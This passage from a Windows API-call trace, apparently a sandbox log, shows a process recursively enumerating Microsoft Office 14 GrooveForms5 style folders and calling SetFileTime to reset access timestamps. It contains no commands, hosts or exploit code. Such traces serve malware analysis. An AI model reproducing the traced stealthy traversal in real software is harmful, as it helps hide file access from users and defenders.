nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.739] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.741] GetLastError () returned 0x12 [0055.741] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.741] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.741] GetLastError () returned 0x12 [0055.741] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.743] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.743] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.743] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.744] GetLastError () returned 0x12 [0055.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.744] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.745] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.745] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.746] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c38 [0055.748] GetLastError () returned 0x12 [0055.748] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.748] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.749] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.749] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.749] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.749] GetLastError () returned 0x12 [0055.749] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.749] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.749] GetLastError () returned 0x12 [0055.749] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.751] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.751] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.751] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.751] GetLastError () returned 0x12 [0055.751] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.751] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.751] GetLastError () returned 0x12 [0055.751] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.752] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.752] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.752] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.753] GetLastError () returned 0x12 [0055.753] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.753] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.753] GetLastError () returned 0x12 [0055.753] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.754] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.754] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.754] GetLastError () returned 0x12 [0055.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.754] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.754] GetLastError () returned 0x12 [0055.754] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.756] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.756] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.756] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.756] GetLastError () returned 0x12 [0055.756] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.756] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.756] GetLastError () returned 0x12 [0055.756] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.757] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.757] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.757] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.757] GetLastError () returned 0x12 [0055.757] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.758] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.758] GetLastError () returned 0x12 [0055.758] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.759] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.759] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.759] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.759] GetLastError () returned 0x12 [0055.759] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.759] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.759] GetLastError () returned 0x12 [0055.759] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.760] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.761] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.761] GetLastError () returned 0x12 [0055.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.761] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.761] GetLastError () returned 0x12 [0055.761] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.762] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.762] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.762] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.763] GetLastError () returned 0x12 [0055.763] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.763] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.763] GetLastError () returned 0x12 [0055.763] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, 